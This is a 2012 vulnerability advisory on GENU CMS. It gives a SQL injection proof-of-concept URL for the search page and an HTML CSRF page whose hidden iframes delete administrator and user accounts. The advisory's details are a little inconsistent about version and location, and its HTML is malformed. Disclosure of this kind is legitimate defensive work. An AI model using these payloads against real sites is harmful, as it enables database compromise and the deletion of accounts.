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[Full-disclosure] GENU CMS 2012.4 - Multiple Web Vulnerabilities

Title:
======
GENU CMS 2012.4 - Multiple Web Vulnerabilities


Date:
=====
2012-05-06


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=519


VL-ID:
=====
519


Common Vulnerability Scoring System:
====================================
7.5


Introduction:
=============
GENU is a Content Management System written with PHP language and using a 
database server 
(MySQL, PostgreSQL or SQLite) for storage. It is fully customisable since it 
uses a templates 
system and supports multiple languages. GENU is an open-source software 
distributed under 
the terms of the GNU GPL license version 3.

- Easy installation
- Full customisation with templates
- Multiple languages interface
- Unlimited news organised into unlimited categories
- Comments system with reply and edit possibilities
- Articles management
- Users management
- Bulletin board
- Polls
- Complete administration interface
- Search engine
- Submit and send news functions
- Smilies support
- BBCodes or HTML tags support
- Headlines generation
- ...

(Copy of the Vendor Homepage: http://www.gnew.fr/news/index.php )


Abstract:
=========
A Vulnerability Laboratory Research Team discovered multiple web 
vulnerabilities in GENU CMS 2012-3 content management system.


Report-Timeline:
================
2012-04-16:     Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
A remote SQL Injection vulnerability is detected in GENU CMS 2012-3 content 
management system.
The vulnerability allows an attacker (remote) or local low privileged user 
account to inject/execute own sql commands 
on the affected application dbms. Successful exploitation of the vulnerability 
results in dbms & application compromise.
The vulnerability is located on the username post method.

Vulnerable Module(s):
                                [+] Search - news_subject

--- SQL Exception Logs ---
Error in query  SELECT genu_categories.category_id, 
genu_categories.category_image, 
genu_categories.category_name, genu_news.news_comments, genu_news.news_date, 
genu_news.news_id, genu_news.news_source, genu_news.news_subject, 
genu_news.news_text, 
genu_users.user_id, genu_users.user_name FROM genu_categories, genu_news, 
genu_users WHERE 
genu_categories.category_id = genu_news.category_id AND 
genu_categories.category_level IN 
( 0 ,  2 ) AND genu_news.news_active =  1  AND genu_news.user_id = 
genu_users.user_id AND 
LOWER(genu_news.news_subject-1 ) LIKE  %news%  ORDER BY news_date DESC LIMIT 0, 
30 


Picture(s):
                                ../1.png
                                ../2.png


1.2
A csrf vulnerability is detected in GENU CMS 2012-3 content management system. 
The vulnerability allows
an remote attacker to delete with medium required user inter action 
administrator, moderator & users without 
checkbox or confirmation by the admin itself.

Vulnerable Module(s):
                                [+] Delete User

Picture(s):
                                ../3.png


Proof of Concept:
=================
1.1
The sql injection vulnerability can be exploited by remote attacker without 
user inter action. 
For demonstration or reproduce ...

PoC:
http://127.0.0.1:80/genu/news/search.php?search=news&match=news_subject-1%27[SQL-INJECTION]



1.2
The csrf vulnerability can be exploited by remote attacker with medium or high 
required
user inter action. For demonstration or reproduce ...


PoC:
<html><head><body>
<title>Remote User Delete Exploit</tile>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=1>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=2>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=3>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=4>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=5>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=6>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=6>
<iframe 
src=http://127.0.0.1:80/genu/admin/users.php?action=delete_user&user_id=7>
</body></head></html>


Risk:
=====
1.1
The security risk of the sql injection vulnerability is estimated as high(+).

1.2
The security risk of the csrf vulnerability is estimated as medium(-).


Credits:
========
Vulnerability Laboratory [Research Team]  -    Chokri B.A. 
(meister@xxxxxxxxxxxxxxxxxxxxx)


Disclaimer:
===========
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capability for a particular purpose. Vulnerability-
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or incidental damages so the foregoing limitation 
may not apply.

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                                                Copyright © 2012 
Vulnerability-Lab




-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@xxxxxxxxxxxxxxxxxxxxx


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